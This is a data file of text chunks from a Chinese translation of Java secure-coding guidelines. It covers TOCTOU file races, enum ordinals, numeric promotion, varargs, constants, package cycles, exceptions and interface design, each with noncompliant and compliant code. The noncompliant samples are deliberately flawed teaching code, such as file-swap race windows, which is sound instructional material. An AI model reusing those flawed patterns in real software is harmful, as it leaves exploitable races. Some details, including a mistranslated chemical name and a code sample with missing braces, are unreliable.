    {"text": "在开发API时，应该结合使用上面提到的方法，这样既可以帮助客户端把正确的结果和错误的结果区分开来，又能鼓励客户端对错误结果做出准确的处理。"},
    {"text": "这个限制的主要目的是防止状态测试方法的调用，与依赖对象状态的方法的调用，二者之间出现“检查时间/使用时间”（Time-Of-Check, Time-Of-Use，缩写为TOCTOU）竞态条件。"},
    {"text": "public void updateNode(int id, int newValue) { Node current = root; while (current != null) { if (current.getId() == id) { current.setValue(newValue); break; } current = current.next; } } 上面的方法中，未指明该方法是否修改了任何节点，这样的后果就是，调用者无从得知该方法调用究竟是成功修改了节点，还是默默的失败了。"},
    {"text": "public boolean updateNode(int id, int newValue) { Node current = root; while (current != null) { if (current.getId() == id) { current.setValue(newValue); return true; // Node successfully updated } current = current.next; } return false; } 合规解决方案（异常） 下面的合规解决方案在方法修改了节点时返回修改后的节点，在未找到要修改的节点时抛出NodeNotFoundException异常。 public Node updateNode(int id, int newValue) throws NodeNotFoundException { Node current = root; while (current != null) { if (current.getId() == id) { current.setValue(newValue); return current; } current = current.next; } throw new NodeNotFoundException(); } 使用异常来标明方法执行失败是一个很好的设计选择，但是在方法中抛出异常并不总是一个合适的选择。"},
    {"text": "通常来说，方法需要抛出异常的情况有两种：第一种是方法执行失败，并出现了不可恢复的状况； 第二种是方法执行失败，需要方法的上层调用者来决定如何恢复状态。"},
    {"text": "public Node updateNode(int id, int newValue) { Node current = root; while (current != null) { if (current.getId() == id) { current.setValue(newValue); return current; } current = current.next; } return null; } 可能为空的返回值是一个带内错误指示器（in-band error indicator），指南52对这个指示器做了详细的讨论。"},
    {"text": "参考文献 [Bloch 2008] Item 59.Avoid unnecessary use of checked exceptions [Long 2012] EXP00-J.Do not ignore values returned by methods [Ware 2008] Writing Secure Java Code 指南27：使用多个文件属性识别文件 很多跟文件相关的安全漏洞都是由于程序访问了错误的文件对象导致的，而经常发生这种漏洞的原因是，文件名和对应的文件对象是松耦合的，文件名并未提供关于文件对象的信息。"},
    {"text": "java.io.File和java.nio.file.Path类型的对象，只有文件被访问时，才会被操作系统绑定到对应的文件对象上。 java.io.File的构造函数，以及java.io.File的renameTo()和delete()方法，都仅仅只用了文件名作为文件标识。 调用 java.nio.file.Path.get()方法创建Path对象，以及调用java. nio.file.Files的move()和delete()方法时也是一样，因此在使用这些方法时一定要特别小心。"},
    {"text": "对于应用来讲，把文件保存在一个只有文件持有人或系统管理员才能访问的安全目录下，比文件标识更重要（参见《The CERT ® Oracle ® Secure Coding Standard for Java™》[Long 2012]的“FIO00-J. Do not operate on files in shared directories”)。"},
    {"text": "违规代码示例 下面的违规代码示例对通过文件名（filename）识别到的文件依次执行了打开、处理和关闭操作，然后又重新打开该文件读取其中的内容。"},
    {"text": "public void processFile(String filename){ // Identify a file by its path Path file1 = Paths.get(filename); // Open the file for writing try (BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(Files.newOutputStream(file1)))) { // Write to file... } catch (IOException e) { // Handle error } // Close the file /* * A race condition here allows an attacker to switch * out the file for another */ // Reopen the file for reading Path file2 = Paths.get(filename); try (BufferedReader br = new BufferedReader(new InputStreamReader(Files.newInputStream(file2)))) { String line; while ((line = br.readLine()) != null) { System.out.println(line); } } catch (IOException e) { // Handle error } } 在上面的代码中，因为文件名和对应文件对象的绑定在创建 BufferedReader时会重新评估，所以代码并不能保证后面读的文件，和前面写的文件是同一个文件。"},
    {"text": "违规代码示例（File.isSameFile()） 在下面的违规代码示例中，程序员试图通过调用Files.isSameFile()方法来确保，后面读的文件和前面写的文件是同一个文件。 public void processFile(String filename){ // Identify a file by its path Path file1 = Paths.get(filename); // Open the file for writing try (BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(Files.newOutputStream(file1)))) { // Write to file } catch (IOException e) { // Handle error } // ... // Reopen the file for reading Path file2 = Paths.get(filename); if (!Files.isSameFile(file1, file2)) { // File was tampered with, handle error } try (BufferedReader br = new BufferedReader(new InputStreamReader(Files.newInputStream(file2)))) { String line; while ((line = br.readLine()) != null) { System.out.println(line); } } catch (IOException e) { // Handle error } } 遗憾的是，Java API中没有保证说isSameFile()方法实际检查了两个文件是否为同一个文件。 关于isSameFile()方法，Java 7的API文档[API 2013]中是这么说的： 如果两个 Path对象是相等的，则该方法返回 true，该方法不会去检查文件是否存在。 这就是说，isSameFile()可能只是简单地检查了两个文件的路径是否一样，但无法检测到文件在两次打开操作之间是否有被替换过。"},
    {"text": "合规解决方案（多个属性） 下面的合规解决方案检查了文件的创建时间和最后修改时间，增加了打开读的文件和之前打开写的文件是同一个文件的可能性。"},
    {"text": "public void processFile(String filename) throws IOException{ // Identify a file by its path Path file1 = Paths.get(filename); BasicFileAttributes attr1 = Files.readAttributes(file1, BasicFileAttributes.class); FileTime creation1 = attr1.creationTime(); FileTime modified1 = attr1.lastModifiedTime(); // Open the file for writing try (BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(Files.newOutputStream(file1)))) { // Write to file... } catch (IOException e) { // Handle error } // Reopen the file for reading Path file2 = Paths.get(filename); BasicFileAttributes attr2 = Files.readAttributes(file2, BasicFileAttributes.class); FileTime creation2 = attr2.creationTime(); FileTime modified2 = attr2.lastModifiedTime(); if ( (!creation1.equals(creation2)) || (!modified1.equals(modified2)) ) { // File was tampered with, handle error } try (BufferedReader br = new BufferedReader(new InputStreamReader(Files.newInputStream(file2)))){ String line; while ((line = br.readLine()) != null) { System.out.println(line); } } catch (IOException e) { // Handle error } } 尽管这个方案已经比较安全了，但是坚定的攻击者还是能够创建一个和原来的文件有同样创建时间和最后修改时间的攻击文件。"},
    {"text": "另外，读取文件的属性和打开文件对文件属性进行修改两个操作会出现TOCTOU竞态条件，第一次打开文件出现一次，第二次打开文件会再出现一次。"},
    {"text": "合规解决方案（POSIX的fileKey属性） 在支持文件的fileKey属性的环境中，更可靠的方法是检查两个文件的fileKey属性是否一样。 fileKey属性是“唯一标识一个文件”[API 2013]的对象，就如下面的合规解决方案所示。"},
    {"text": "public void processFile(String filename) throws IOException{ // Identify a file by its path Path file1 = Paths.get(filename); BasicFileAttributes attr1 = Files.readAttributes(file1, BasicFileAttributes.class); Object key1 = attr1.fileKey(); // Open the file for writing try (BufferedWriter bw = new BufferedWriter( new OutputStreamWriter(Files.newOutputStream(file1)))) { // Write to file } catch (IOException e) { // Handle error } // Reopen the file for reading Path file2 = Paths.get(filename); BasicFileAttributes attr2 = Files.readAttributes(file2, BasicFileAttributes.class); Object key2 = attr2.fileKey(); if ( !key1.equals(key2) ) { System.out.println(\"File tampered with\"); // File was tampered with, handle error } try (BufferedReader br = new BufferedReader( new InputStreamReader(Files.newInputStream(file2)))) { String line; while ((line = br.readLine()) != null) { System.out.println(line); } } catch (IOException e) { // Handle error } } 这个方案不能在所有的平台上工作。"},
    {"text": "和前面的合规解决方案一样，fileKey()方法读取fileKey属性和读写文件对fileKey属性进行修改两个操作会出现TOCTOU竞态条件，第一次打开文件出现一次，第二次打开文件时会再出现一次。"},
    {"text": "注意，上述的合规解决方案或者一些其他的方案中，为了说明问题而使用了RandomAccessFile的 readLine()方法，参见“MSC05-J. Do not exhaust heap space”[Long 2012]一节，该节描述了更多的关于使用该方法可能导致程序脆弱的原因。"},
    {"text": "public void processFile(String filename) throws IOException{ // Identify a file by its path try ( RandomAccessFile file = new RandomAccessFile(filename, \"rw\")) { // Write to file... // Go back to beginning and read contents file.seek(0); String line; while ((line = file.readLine()) != null) { System.out.println(line); } } } 违规代码示例（文件大小） 下面的违规代码示例想要保证打开的文件准确地包含1024字节的数据。 static long goodSize = 1024; public void doSomethingWithFile(String filename) { long size = new File(filename).length(); if (size != goodSize) { System.out.println(\"File has wrong size!\"); return; } try (BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(filename)))) { // ... Work with file } catch (IOException e) { // Handle error } } 上面的代码中，检查文件大小操作和打开文件操作会导致TOCTOU竞态条件。 如果攻击者在检查文件大小之后，读文件之前的竞态窗口中，用另一个文件替换掉了这个1024字节的文件，那么，攻击者就能让程序打开任何文件，绕过文件大小的检查。 合规解决方案（文件大小） 下面的合规解决方案使用了FileChannel.size()方法来获取文件的大小，因为这个方法只作用于打开文件的 FileInputStream 实例，因此该解决方案可以消除竞态窗口。 static long goodSize = 1024; public void doSomethingWithFile(String filename) { try (FileInputStream in = new FileInputStream(filename); BufferedReader br = new BufferedReader( new InputStreamReader(in))) { long size = in.getChannel().size(); if (size != goodSize) { System.out.println(\"File has wrong size!\"); return; } String line; while ((line = br.readLine()) != null) { System.out.println(line); } } catch (IOException e) { // Handle error } } 适用性 攻击者经常通过文件相关的漏洞，让程序访问原本不应该访问的文件。"},
    {"text": "参考文献 [API 2013] Class java.io.File Interface java.nio.file.Path Class java.nio.file.Files Interface java.nio.file.attribute.BasicFileAttributes [Long 2012] FIO00-J.Do not operate on files in shared directories 指南28：不要赋予枚举常量的序号任何特殊意义 Java语言的枚举类型都有一个oridnal()方法，该方法会返回其类声明中定义的每个枚举常量的数值位置。"},
    {"text": "根据Java API, Class Enum<E extends Enum<E>> [API 2013]，public final int ordinal()： 返回枚举常量的序号（其在枚举声明时的位置，初始常量的序号为0）。"},
    {"text": "Java 语言规范的§8.9“Enums”[JLS 2013]中没有指明在编程时应该如何使用ordinal()方法，尽管如此，给一个枚举常量的序号值赋予外部意义也是容易出错的，这样的行为在防御式编程时应该避免。"},
    {"text": "违规代码示例 下面的违规代码示例声明了enum Hydrocarbon，然后在getNumberOfCarbons()方法中使用了它的oridinal()方法来提供数据。 enum Hydrocarbon { METHANE, ETHANE, PROPANE, BUTANE, PENTANE, HEXANE, HEPTANE, OCTANE, NONANE, DECANE; public int getNumberOfCarbons() { return ordinal() + 1; } } 尽管上面的违规代码示例运行结果和预期的一致，但是其可维护性将是一个问题。"},
    {"text": "再者，如果在 Hydrocarbon 中再添加一个常量BENZENE（苯），就会破坏getNumberOfCarbons()方法的假设，因为苯同样拥有6个碳元素，但是序号6已经被HEXANE（乙烷）占用了。"},
    {"text": "enum Hydrocarbon { METHANE(1), ETHANE(2), PROPANE(3), BUTANE(4), PENTANE(5), HEXANE(6), BENZENE(6), HEPTANE(7), OCTANE(8), NONANE(9), DECANE(10); private final int numberOfCarbons; Hydrocarbon(int carbons) { this.numberOfCarbons = carbons; } public int getNumberOfCarbons() { return numberOfCarbons; } } 上面的代码中，getNumberOfCarbons()方法不再通过调用oridnal()方法来获取每个常量含有的碳原子个数。"},
    {"text": "适用性 如果一个枚举常量的声明顺序不会发生变化，同时不会有新的常量加入，那么把枚举常量的顺序和类型关联起来是可以接受的，例如，可以像下面代码这样使用枚举常量序号： public enum Day { SUNDAY, MONDAY, TUESDAY, WEDNESDAY, THURSDAY, FRIDAY, SATURDAY } 总的来说，使用枚举常量的整数值序号会降低程序的可维护性，甚至会导致程序出错。"},
    {"text": "参考文献 [API2013] Class Enum<E extends Enum<E>> [Bloch 2008] Item 31, “Use Instance Fields Instead of Ordinals” [JLS 2013] §8.9, “Enums” 指南29：注意数字提升行为 数字提升指的是做运算时，为了保证数字运算可以执行，把操作数的类型转换为一个更通用的类型的行为。"},
    {"text": "（2）如果任何一个操作数为double类型，则另一个操作数也会被转变为double类型。 （3）除了上面的情况，如果任何一个操作数的类型为float，则另外一个操作数也会被转变为float类型。 （4）除了上面的情况，如果任何一个操作数的类型为 long，则另外一个操作数也会被转变为long类型。 （5）除了上面的情况，两个操作数都会被转换为int类型。"},
    {"text": "因整数提升导致的类型放宽转换，虽然保保持了数字整体的大小，但是对于那些从int转换为float或者从long转换为double的操作数，可能会出现精度损失。"},
    {"text": "（更多信息参见《The CERT ® Oracle ® Secure Coding Standard for Java TM 》[Long 2012]的“NUM13-J. Avoid loss of precision when converting primitive integers to floating-point”。"},
    {"text": ") 上面提到的类型转换在使用乘除运算符（%、*、/）、加减运算符（+、-）、比较运算符（<、>、<=、>=）、等于运算符（==、!=）以及整数位运算符时都会发生。"},
    {"text": "示例 在下面的示例中，变量a在做加法运算之前会提升为double类型： int a = some_value; double b = some_other_value; double c = a + b; 在下面的代码段中，变量b会首先转换为int类型， 这样它才能够和int类型的a执行加法运算： int a = some_value; char b = some_character; if ((a + b) > 1.1f) { // Do something } (a+b)的结果会先转换为float类型，再去执行比较运算。"},
    {"text": "复合运算符 当多个不同类型的操作数执行复合运算时会导致类型强制转换，复合赋值运算符有：+=、-=、*=、/=、&=、^=、%=、<<=、>>=、>>>=和|=。"},
    {"text": "根据Java语言规范的§15.26.2“Compound Assignment Operators”[JLS 2013]： E1 op= E2形式的复合赋值表达式和E1=(T)((E1) op (E2))是等价的，其中T是E1的类型，除了E1只计算一次。"},
    {"text": "例如，在前面提到的E1 op=E2中，当E1是int型，E2是long型、float型或者double型时， 表达式在做“op”运算前，会先把E1做类型提升，从int型提升到E2的类型。 做完“op”运算之后，做“=”运算之前，运算结果会再做一次降级操作，从 E2 的类型再转回int型。"},
    {"text": "int big = 1999999999; float one = 1.0f; // Binary operation, loses precision because of implicit cast System.out.println(big * one); 上面的代码中，big变量在做乘法运算之前需要先做类型提升，从int提升到float，这个提升会导致精度损失（参见“NUM13-J. Avoid loss of precision when converting primitive integers to floating-point”[Long 2012]）。"},
    {"text": "合规解决方案（乘法） 下面的合规解决方案直接使用了double类型，没有使用float类型， 这样，当有数据提升导致的原生类型放宽转换的时候，计算操作可以更安全。"},
    {"text": "int big = 1999999999; double one = 1.0d; // Double instead of float System.out.println(big * one); 上面的解决方案输出了期望的1.999999999E9，这个值和把一个int型数值直接赋值给一个double变量（中间有隐式转换）得到的值是一样的。"},
    {"text": "byte[] b = new byte[4]; int result = 0; for (int i = 0; i < 4; i++) { result = (result << 8) | b[i]; } 字节数组中的每一个元素在执行运算前都会先被符号扩展（sign-extend）到32位，如果该元素之前的值为oxff，扩展之后的值会变为0xffffffff[FindBugs 2008]，这导致最后的结果result是一个值，而非4个数组元素的拼接。"},
    {"text": "byte[] b = new byte[4]; int result = 0; for (int i = 0; i < 4; i++) { result = (result << 8) | (b[i] & 0xff); } 违规代码示例（加法和赋值的复合运算） 下面的违规代码示例执行了一个复合赋值运算。"},
    {"text": "int x = 2147483642; // 0x7ffffffa x += 1.0f; // x contains 2147483647 (0x7fffffff) // after the computation 在上面的代码中，复合运算+=的操作数是一个int型的变量x，该变量包含了太多的有效位（significant bit），无法适配进一个只能包含23位尾数的Java float变量，导致从 int 到 float的类型放宽转换损失精度。"},
    {"text": "double x = 2147483642; // 0x7ffffffa x += 1.0; // x contains 2147483643.0 (0x7ffffffb.0) as expected 违规代码示例（位移和赋值的复合运算） 下面的违规代码示例中使用了一个复合的右位移运算符，把变量i的值右移了一位。"},
    {"text": "这是一个放宽原生类型转换，没有数据丢失，值-1，对于short类型来说，由0xff表示，放宽转换为int型后，则由0xffffffff表示。 转变为int型之后，右移一位得到的结果为0x7fffffff，然后代码需要把这个值存回short型的变量i，这个过程中Java会做一次隐式的变窄转换，这次转换会丢弃高阶的16位，因此最后的结果又回到了0xffff，或者说-1。"},
    {"text": "合规解决方案（位移和赋值的复合运算） 下面的合规解决方案把复合赋值运算符应用在了int型的变量上，这样在操作的过程中就不需要做类型转换了，因此，i最后得到的值为0x7fffffff。"},
    {"text": "int i = -1; i >>>= 1; 适用性 在处理既有整数操作数，又有浮点数操作数的计算时，未能考虑整数类型的提升，最后导致精度损失的问题。"},
    {"text": "参考文献 [Bloch 2005] Puzzle 9, “Tweedledum” Puzzle 31, “Ghost of Looper” [Findbugs 2008] “BIT:Bitwise OR of Signed Byte Value” [JLS 2013] §4.2.2, “Integer Operations” §5.6, “Numeric Promotions” §15.26.2,“Compound Assignment Operators” [Long 2012] NUM13-J. Avoid loss of precision when converting primitive integers to floating-point 指南30：对可变参数的类型做编译时类型检查 顾名思义，可变参数（variable arity，又名varargs）方法指的就是那些可以接受不同个数参数的方法。"},
    {"text": "尽管如此，当方法的固定参数类型为Object或者泛型时，编译时类型检查并不是很有效[Bloch 2008]。 因为这种情况下，固定参数的类型对于做类型限定等于是没有意义的，编译器的类型检查无法应用于Object类型或泛型。"},
    {"text": "double sum(Object... args) { double result = 0.0; for (Object arg : args) { if (arg instanceof Byte) { result += ((Byte) arg).byteValue(); else if (arg instanceof Short) { result += ((Short) arg).shortValue(); else if (arg instanceof Integer) { result += ((Integer) arg).intValue(); else if (arg instanceof Long) { result += ((Long) arg).longValue(); else if (arg instanceof Float) { result += ((Float) arg).floatValue(); else if (arg instanceof Double) { result += ((Double) arg).doubleValue(); else { throw new ClassCastException(); } } return result; } 合规解决方案（Number类型） 下面的合规解决方案也定义了相同的方法，只是使用了Number作为参数类型，这个类型不仅足以覆盖所有数字类型，而且还可以排除非数字类型参数对方法的干扰。 double sum(Number... args) { // ... } 违规代码示例（泛型） 下面的违规代码示例同样使用了一个可变参数的方法，不同的是该方法使用了泛型作为参数的类型。"},
    {"text": "<T> double sum(T... args) { // ... } 合规解决方案（泛型） 下面的合规解决方案仍然是使用了泛型的可变参数方法，只是泛型的类型被限定为了Number类型。 <T extends Number> double sum(T... args) { // ... } 在声明参数类型时，应尽可能地精确；"},
    {"text": "例如，假设一个方法不接受某种类型的参数，改型后的方法可能会覆盖编译时检查，这会导致该方法可以干净地通过编译，而不是正确地通过编译，从而导致运行时错误[Bloch 2008]。"},
    {"text": "例如，上面的解决方案代码输出如下的警告，但是系统运行没有任何问题： Java.java:10: warning: [unchecked] Possible heap pollution from parameterized vararg type T <T extends Number> double sum(T... args) { 这种类型的编译警告可以直接忽略。"},
    {"text": "当方法既缺乏类型转换能力，又缺乏自动装箱能力时，使用Object类型或不精确的泛型做可变参数的类型声明也是可以接受的，而且代码编译不会有任何的错误。"},
    {"text": "<T> Collection<T> assembleCollection(T... args) { return new HashSet<T>(Arrays.asList(args)); } 在某些情况下，必须使用Object类型作为可变参数的类型，一个比较好的例子就是 java.util.Formatter.format(String format, Object... args)方法，该方法的作用就是把参数对象格式化为指定的类型，参数对象可以为任意类型。"},
    {"text": "参考文献 [Bloch 2008] Item 42, “Use Varargs Judiciously” [Steinberg 2008] Using the Varargs Language Feature [Oracle 2011b] Varargs 指南31：不要把其值在以后版本里可能会发生变化的常量设置为public final final关键字可以用来指定常量值（即在程序执行期间，不会发生改变的值）。"},
    {"text": "Java语言规范[JLS 2013]允许每个能够访问public final变量的编译单元设置该变量的值。 这就意味着，如果声明public final变量的类被修改，使得新版本类中的public final变量被设置成了不同的值，那么在这些变量被重新编译之前，其他读取该变量的编译单元读到的将仍是旧值。"},
    {"text": "违规代码示例 在下面的违规代码示例中，Foo类（Foo.java）声明了一个属性VERSION，该属性的值表示软件的当前版本。 class Foo { public static final int VERSION = 1; // ... } 接着，Bar类在一个独立的编译单元中访问该属性（Bar.java）： class Bar { public static void main(String[] args) { System.out.println(\"You are using version \" + Foo.VERSION); } } 编译运行之后，程序会正确地打印出： You are using version 1 但是，如果某个开发者通过修改Foo.java文件把VERSION值修改为了2，然后重新编译了Foo.java，但是却没有重新编译Bar.java，那么程序将会错误地打印出： You are using version 1 尽管，重新编译Bar.java文件可以解决这个问题，但是还有更好的解决方案。"},
    {"text": "合规解决方案 根据Java语言规范的§13.4.9“final Fields and Constants”[JLS 2013]： 除了真正的数学常量，我们建议在源代码的类变量声明中，尽量少用static和final。"},
    {"text": "下面的合规解决方案把Foo.java中的version属性声明为了private static，并提供了getVersion()方法获取该变量的值。 class Foo { private static int version = 1; public static final int getVersion() { return version; } // ... } 把Bar.java中的Bar类修改为了使用访问方法getVersion()来获取Foo.java中的version属性值： class Bar { public static void main(String[] args) { System.out.println(\"You are using version \" + Foo.getVersion()); } } 在本解决方案中，编译Bar类时，私有的version变量值不会被复制到Bar类中，从而避免了前面提到过的问题。"},
    {"text": "需要指出的是，这种变型几乎不会带来任何的性能问题，因为大部分的实时（just-in-time，JIT）代码生成器会在运行时把getVersion()方法内联到Bar类中。"},
    {"text": "参考文献 [JLS 2013] §4.12.4, “final Variables” §8.3.1.1, “static Fields” §9.3, “Field (Constant) Declarations” §13.4.9, “final Fields and Constants” 指南32：避免包之间的循环依赖 无论是《The Elements of Java™ Style》[Allen 2000]，还是JPL Java编码标准[Havelund 2009]，都强调了包的依赖结构中不能有环，也就是说，包之间形成的依赖图应该是一个有向无环图（Directed Acyclic Graph，DAG）。"},
    {"text": "包之间的循环依赖会放大，源代码的修改或者补丁，对系统的影响范围，而降低修改的影响范围是简化测试和提升代码可维护性的前提。 由于包之间的循环依赖而不能对代码进行充分的测试，是导致安全漏洞的一种常见来源。"},
    {"text": "UserDetails 继承自AccountHolder，因为用户就是一种账户持有人。 AccountHolder类依赖一个定义在 User 类中的非静态工具方法。 而 UserDetails 则因为继承关系而依赖于AccountHolder类。"},
    {"text": "package account; import user.User; public class AccountHolder { private User user; public void setUser(User newUser) {user = newUser;} synchronized void depositFunds(String username, double amount) { // Use a utility method of User to check whether // username exists if (user.exists(username)) { // Deposit the amount } } protected double getBalance(String accountNumber) { // Return the account balance return 1.0; } } package user; import account.AccountHolder; public class UserDetails extends AccountHolder { public synchronized double getUserBalance(String accountNumber) { // Use a method of AccountHolder to get the account balance return getBalance(accountNumber); } } public class User { public boolean exists(String username) { // Check whether user exists return true; // Exists } } 合规解决方案 两个包中的类之间的紧耦合状态可以通过引入第三方包bank中的BankApplication接口来缓解。 让AccountHolder类不再依赖于User类就可以消除包之间的循环依赖，具体做法就是让AccountHolder类依赖于bank包中的接口类（注意不是实现这个接口）。 下面的合规解决方案通过给depositFunds()方法添加一个BankApplication接口类型的参数实现解耦，把AccountHolde和bank包强关联了起来。"},
    {"text": "package bank; public interface BankApplication { void depositFunds(BankApplication ba, String username, double amount); double getBalance(String accountNumber); double getUserBalance(String accountNumber); boolean exists(String username); } package account; import bank.BankApplication; // Import from a third package class AccountHolder { private BankApplication ba; public void setBankApplication(BankApplication newBA) { ba = newBA; } public synchronized void depositFunds(BankApplication ba, String username, double amount) { // Use a utility method of UserDetails to // check whether username exists if (ba.exists(username)) { // Deposit the amount } } public double getBalance(String accountNumber) { // Return the account balance return 1.0; } } package user; import account.AccountHolder; // One-way dependency import bank.BankApplication; // Import from a third package public class UserDetails extends AccountHolder implements BankApplication { public synchronized double getUserBalance( String accountNumber) { // Use a method of AccountHolder to get the account balance return getBalance(accountNumber); } public boolean exists(String username) { // Check whether user exists return true; } } BankApplication接口看起来像是包含了过多的方法，比方说depositFunds()和getBalance()。"},
    {"text": "这些方法放在接口中的目的是当子类覆盖它们时，超类仍然具备在内部多态地调用子类方法的能力（例如，通过ba.getBalance调用UserDetails中覆盖实现的getBalance()方法）。"},
    {"text": "参考文献 [Allen 2000] The Elements of Java™Style [Havelund 2009] JPL Coding Standard,Version 1.1 [Knoernschild 2002] Chapter 1, “OO Principles and Patterns” 指南33：使用用户自定义的异常而非宽泛的异常类型 异常是通过类型被捕获的，因此，根据不同的目的定制异常比使用代表多个目的的宽泛异常要好得多。"},
    {"text": "如果doSomething()方法中抛出了异常或错误，这些错误或异常的类型都是Throwable的子类，那么后续的处理语句允许针对特殊的情况做特殊的处理。"},
    {"text": "try { doSomething(); } catch (Throwable e) { String msg = e.getMessage(); switch (msg) { case \"file not found\": // Handle error break; case \"connection timeout\": // Handle error break; case \"security violation\": // Handle error break; default: throw e; } } 尽管如此，任何异常信息上的文字修改都会破坏代码的逻辑。 例如，如果执行了下面的代码： throw new Exception(\"cannot find file\"); 这个异常本应该由第一个case子句处理，但是实际情况是它会被重新扔出来，因为其包含的异常信息无法满足任何case子句的条件。"},
    {"text": "上面的代码违反了《The CERT ® Oracle ® Secure Coding Standard for Java™》[Long 2012]的“ERR08-J. Do not catch NullPointerException or any of its ancestors”中的ERR08-EX0建议，因为它虽然捕获了通用的异常但又重新把异常扔了出来。"},
    {"text": "public class TimeoutException extends Exception { TimeoutException () { super(); } TimeoutException (String msg) { super(msg); } } // ... try { doSomething(); } catch (FileNotFoundException e) { // Handle error } catch (TimeoutException te) { // Handle error } catch (SecurityException se) { // Handle error } 适用性 异常是用来处理各种异常状况的，如果有异常未被捕获，程序将会终止。"},
    {"text": "参考文献 [JLS 2013] Chapter 11, “Exceptions” [Long 2012] ERR08-J. Do not catch NullPointerException or any of its ancestors 指南34：尽量从系统错误中优雅恢复 根据Java语言规范的§11.1.1“The Kinds of Exceptions”[JLS 2013]： 只有RuntimeException类和它的子类，以及Error类和它的子类，是未检查异常类，所有其他的异常类都是已检查异常类。"},
    {"text": "尽管如此，Java虚拟机也可以通过使用try-catch 语句块捕获Throwable异常的方式，捕获所有的异常，从而提供一个优雅的退出方案，以及记录错误日志的机会。"},
    {"text": "捕获Throwable异常在大部分情况下是不允许的，详见《The CERT ® Oracle ® Secure Coding Standard for Java™》[Long 2012]的“ERR08-J. Do not catch NullPointer-Exception or any of its ancestors”。"},
    {"text": "违规代码示例 下面的违规代码示例会因为无限递归出现StackOverFlowError异常，该异常会耗尽可用栈空间，导致程序拒绝服务。 public class StackOverflow { public static void main(String[] args) { infiniteRun(); // ... } private static void infiniteRun() { infiniteRun(); } } 合规解决方案 下面的合规解决方案使用了一个try-catch语句块来捕获java.lang.Error异常或者Java.lang.Throwable异常。"},
    {"text": "public class StackOverflow { public static void main(String[] args) { try { infiniteRun(); } catch (Throwable t) { // Forward to handler } finally { // Free cache, release resources } // ... } private static void infiniteRun() { infiniteRun(); } } 注意上面代码中Foward to handler代表的代码必须要能够在有限的内存下正确地运作，因为在执行它们的时候，程序的栈或堆很可能已经快耗尽了。"},
    {"text": "另外，上面的代码尝试通过捕获Throwable来处理错误，但是当系统出现ERR08-EX2异常时，当前代码并不能处理，详见“ERR08-J. Do not catch NullPointer-Exception or any of its ancestors”[Long 2012]。"},
    {"text": "如果你试图让程序继续运行，那么减少系统的线程数是一个比较有效的折中方案。 这个折中方案能在这种场景下起效，是因为线程经常导致内存泄漏，线程的存在会增加程序的内存轨迹。"},
    {"text": "参考文献 [JLS 2013] §11.2, “Compile-Time Checking of Exceptions” [Kalinovsky 2004] Chapter 16, “Intercepting Control Flow:Intercepting System Errors” [Long 2012] ERR08-J.Do not catch NullPointerException or any of its ancestors 指南35：发布接口前请谨慎设计 接口的主要作用就是整理一个类承诺对外发布的所有方法。"},
    {"text": "如果公共API出现任何的安全漏洞（参见《The CERT ® Oracle ® Secure Coding Standard for Java™》[Long 2012]的“THI01-J. Do not invoke ThreadGroup methods”中关于ThreadGroup方法的讨论）。"},
    {"text": "这个漏洞会贯穿整个API的生命周期，任何使用了该API的应用或者库都会受到影响，甚至，在该安全漏洞修复之后，应用和库都还有可能在使用非安全的老版本，这会导致安全问题一直存在，直到应用和库更新其使用的API版本。"},
    {"text": "一段时间之后，该接口又想要发布一个新的方法freeService()，该方法不需要授权，不会依赖authenticate()方法。 public interface User { boolean authenticate(String username, char[] password); void subscribe(int noOfDays); // Introduced after the class is publicly released void freeService(); } 很遗憾的是，添加了freeService()方法之后，所有实现了该接口的客户端都出现了问题，另外，那些只想使用freeService()方法的客户端却还是必须实现另外的两个方法（authenticate()和subscribe()），这样做是会破坏API的定义，原因前面已经讨论过。"},
    {"text": "违规代码示例 一个替代方案是使用抽象类来处理这类接口持续进化的情况，但是使用抽象类与使用接口相比，在灵活性上是有损失的（类虽然可以实现多个接口，但却只能继承一个类）。"},
    {"text": "比较常见的模式是接口提供者同时发布一个实现了该接口的抽象骨架类，该骨架类可以选择性地实现一些方法，然后要求扩展类提供其他的方法的具体实现。 如果接口增加了新的方法，骨架类能为新方法提供一个非抽象的实现方法，骨架类的子类可以自主地选择是否覆盖该方法。"},
    {"text": "public interface User { boolean authenticate(String username, char[] password); void subscribe(int noOfDays); void freeService(); // Introduced after API is // publicly released } abstract class SkeletalUser implements User { public abstract boolean authenticate(String username,char[] password); public abstract void subscribe(int noOfDays); public void freeService() { // Added later, provide implementation and re-release class } } class Client extends SkeletalUser { // Implements authenticate() and subscribe(), not freeService() } 尽管这个方案还算可行，但是这个模式可能会带来安全问题，因为接口提供方并不清楚客户端会如何扩展骨架类，最后可能会选择一个影响客户端API安全的骨架类实现。"},
    {"text": "以上面的例子来说，其核心功能还是应该实现在User接口中，只有需要收费的服务才能使用这个接口，对于新的免费服务，已存在的类可以选择实现新的接口FreeUser，或者直接忽略掉它。"},
    {"text": "public interface User { boolean authenticate(String username, char[] password); } public interface PremiumUser extends User { void subscribe(int noOfDays); } public interface FreeUser { void freeService(); } 合规解决方案（让新方法不可用） 另一个合规解决方案是在子类中实现新的freeService()方法，但是在其方法体中抛出异常。 class Client implements User { public void freeService() { throw new AbstractMethodError(); } } 合规解决方案（把实现委托给子类） 再提一个可工作但是比较不灵活的合规解决方案——把方法的实现委托给客户端，由客户端的核心接口实现类的子类来实现。 abstract class Client implements User { public abstract void freeService(); // Delegate implementation of new method to subclasses // Other concrete implementations } 适用性 未能提供稳定的、无缺陷的接口，可能会破坏系统与实现类的约定，从而破坏了客户端的API实现，甚至可能会给实现类引入一些安全问题。"},
    {"text": "参考文献 [Bloch 2008] Item 18, “Prefer Interfaces to Abstract Classes” [Long 2012] THI01-J.Do not invoke ThreadGroup methods 指南36：编写对垃圾收集机制友好的代码 Java的垃圾收集机制是其核心技术特点，这使其能够优于那些无垃圾收集（Garbage Collector，GC）机制的语言。"},
    {"text": "尽管垃圾收集机制在执行本身任务时已经非常精巧了，但是一个聪明的攻击者还是可以通过分配超过正常大小的堆内存，或者不恰当地延长对象持有时间，对程序发起一次拒绝服务（Denial-of-Service，DoS）攻击。"},
    {"text": "使用短生命周期的不可变对象 从JDK1.2开始，分代垃圾收集（generational GC）机制已经很大程度地降低了内存分配的开销，在很多场景下甚至比C或C++的开销都低。"},
